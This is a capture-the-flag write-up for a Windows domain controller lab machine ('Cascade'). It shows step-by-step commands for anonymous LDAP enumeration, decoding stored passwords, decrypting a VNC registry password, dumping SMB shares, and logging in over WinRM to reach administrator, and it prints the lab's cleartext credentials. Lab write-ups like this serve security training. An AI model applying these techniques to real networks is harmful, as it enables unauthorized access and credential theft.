Autorecon results

Password: PentestEverything


nmap -p- -Pn -sS -sV

53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-03-02 18:33:43Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49170/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Add " cascade.local" to /etc/hosts.

Starting out on this machine we run a simple nmap script scan against LDAP with null credentials.

nmap -n -sV --script "ldap* and not brute" ''

Seeing as we are able to pull some information with the above command, we can try ldapseacher with NULL credentials know that we know the required domain information.

ldapsearch -x -h "" -D '' -w '' -b "DC=cascade,DC=local" 

We find this spits out a serious amount of information. Ideally, we will run this against and identify some user accounts.

# Search for users, cleanup and output to file
ldapsearch -x -h "" -D '' -w '' -b "DC=cascade,DC=local" | grep "userPrincipalName" | sed 's/userPrincipalName: //' | sort > ADUsers.txt

Now, with a list of users we can start trying to find ways into the accounts. First up, checking the target domain for users with 'Do not require Kerberos preauthentication'.

python2 /opt/impacket-0.9.19/examples/ cascade.local/ -usersfile ADUsers.txt -dc-ip

Unfortunately we get no results here...

I also attempted password spraying the accounts for quite some time. Again, nothing.

As LDAP has spewed so much data with NULL credentials I decided to look again, this time using a graphical explorer.

sudo apt install jxplorer

Where we can login using the following settings:

After some time of pouring through the results manually we come across an interesting attribute for the user r.thompson.


Decoding the Base64 value gives us a valid credential.

echo 'clk0bjVldmE=' | base64 -d

We now have the following credentials


We can see from the LDAP results above r.thompson is not a member of the Remote Management Users group so WinRM will not work here.

As the credentials are valid we can then try download the contents of selected shares.

smbclient -U 'r.thompson' '\\\Data\' -c 'prompt OFF;recurse ON; mget *'  

Under /IT/Temp/s.smith/ we have a file called "VNC Install.reg".

We can see from the above image we have the above HEX value in the password field.


After a little bit of research on Google we find the value can be decrypted using the following command.

echo -n "6bcf2a4b6e5aca0f" | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv

For the credentials:


We know from enumeration earlier that s.smith is a member of the AD group "Audit Share".

Knowing this, we can take a guess that they have access to the AUDIT$ SMB share.

smbclient -U 's.smith' '\\\AUDIT$\' -c 'prompt OFF;recurse ON; mget *'  

Opening the database from Audit.db database file from the DB folder shows a Base64 encoded value for the ArkSvc user.

echo 'BQO5l5Kj9MdErXx6Q6AGOw==' | base64 -d

Of which, when, decoded appears to be encrypted.

To read the exe and DLL files included in the SMB share we need to jump onto a Windows host and use dnSpy.


Opening both CaseCrypto.dll and CaseAudit.exe in dnSpy we can obtain valuable information from both files when carefully reading the code.


This information can be plugged into the following website to reveal the encrypted string.


For the credentials:


Where we can log in over WinRM with Evil-WinRM.

evil-winrm -u 'arksvc' -p 'w3lc0meFr31nd' -i ''

Looking at our group memberships we see we are a member of the group "AD Recycle Bin".

We can use the PowerShell AD module to listed deleted users.

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
echo 'YmFDVDNyMWFOMDBkbGVz' | base64 -d 



From enumerating the SMB shares earlier we came across the following file from the Data share:


With this information we can then log in as the administrator account and grab the root flag.

evil-winrm -u 'administrator' -p 'baCT3r1aN00dles' -i '' 

Last updated